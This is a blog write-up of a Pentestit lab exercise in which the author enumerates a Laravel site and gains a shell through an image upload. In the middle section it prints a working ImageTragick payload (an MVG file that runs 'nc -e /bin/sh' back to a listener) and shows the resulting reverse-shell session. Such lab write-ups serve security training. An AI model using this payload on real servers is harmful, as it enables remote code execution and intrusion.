Pentestit.ru V.9 (Part 12) – Token Site-Test

Categories Tutorials

It’s been a long time since my last Token tutorial, but today I bring here another Token tutorial, this time to Site-Test Token πŸ˜‰

So, this one was a nice one, and it makes use of a “recent” vulnerability that i didn’t knew about, so it was a great learning experince as you will find out πŸ™‚
It was kinda hard because I started it and then took a month of break, so when i got back to it I had to rethink it again ( glad I had my notes).
So, enough talk, lets get back into what it really matters.

As usual we start it by running an nmap scan from ssh server:

d.nash@tl9-ssh:/tmp$ nmap -A 172.16.0.3

Starting Nmap 6.00 ( http://nmap.org ) at 2016-07-25 19:02 MSK
Nmap scan report for 172.16.0.3
Host is up (0.0012s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.10.0
| http-robots.txt: 1 disallowed entry 
|_/upload
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-title: CyBear 32C

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.62 seconds

With this information, we start by going into the site, and exploring it.

We run some tools, like dirb and others to enumerate what can be accessible on the server and we came up with the following list:

http://172.16.0.3/admin/signin
http://172.16.0.3/resume/new
http://172.16.0.3/.htaccess
http://172.16.0.3/web.config
http://172.16.0.3/index.html

We end up finding that the server was using Laravel, due to the source code of one of the pages above.

We first tried to access the admin page (without success) using all the username/password combination we had, even with domain cybear32c.lab or email.
vmware_2016-09-20_15-18-20
So, we end up with a hand full of nothing in this page. And a lot of frustration.
We start to explore and try to look into more Laravel files beside web.config and .htaccess but we couldn’t find anything useful, besides finding that there was a upload folder.

So, we had the page resume/new that allowed us to upload files to the server, the first test was trying to upload a txt file, to try reach it via the upload folder, but we end up finding that we could only upload png or jpg images.
vmware_2016-09-20_15-22-49
So we retried the process but this time with an image.
Guess what, you right, it uploaded successfully. But, (there’s always a but ;)) we couldn’t reach the image navigating to the upload folder.
So, here our headaches started. We knew we could send stuff to the server, but probably there was some name encryption going on, or even worst maybe the images were going to a folder were we would not be able to access.

Once again we started to dig into Laravel and we end up finding the following post: http://www.easylaravelbook.com/blog/2015/04/08/processing-file-uploads-with-laravel-5/

This gave us the impression that the file maybe was changing the name via na ID? So we started to seek for 1.png and 2.png etc etc. Guess what? FAIL!!! :X

A lot was made and researched
(I don’t want to make this post bigger than it should be)

So, we did a sneak peak at the write-up and there was a reference to image magick that was used by Laravel, and it ends up that it is the door we were looking for.

We started to do some research and investigate the vulnerability and came up with very good sources, and a good ideia of what we needed to do:

Useful information found:
https://imagetragick.com/
http://www.openwall.com/lists/oss-security/2016/05/03/18
http://resources.infosecinstitute.com/exploiting-imagetragick/
There is also two good ones on the write-up:
https://blog.cloudflare.com/inside-imagetragick-the-real-payloads-being-used-to-hack-websites-2/
https://mukarramkhalid.com/imagemagick-imagetragick-exploit/

So, now that we learned the vulnerability on ImageMagick we only need to use it.
And that was pretty simple.

We created our image:

~/pentestit.ru/site-test/image_magick$ cat image.png 
push graphic-context
viewbox 0 0 640 480
fill 'url(https://www.anon.com/nothing.jpg"|nc -e /bin/sh 172.16.0.2 "23441)'
pop graphic-context

Set up a listener in our ssh server, and uploaded the image.
Simple as that… it is the “risk” of this vulnerability, it makes so “easy” to execute commands remotely:

d.nash@tl9-ssh:~$ nc -nlvp 23441
listening on [any] 23441 ...
connect to [172.16.0.2] from (UNKNOWN) [172.16.0.3] 25774
whoami
www-data
pwd
/var/www/public

So now, we just need to find our token and open it:

find / -name *token*
...
/token.txt
cat /token.txt
X****8**

There we go. Another Tutorial, another Token.
It looks easy? Well, it was not. xD It’s easy to make use of the vulnerability, a little test here and there, to know where to really apply the ” , but other than that, it’s preety simple.
The hard part was to discover that the website was making use of ImageMagick and that it was vulnerable.

Hope you enjoyed this one πŸ™‚
See you in next one πŸ˜‰

No Comments

Leave a Reply

Your email address will not be published. Required fields are marked *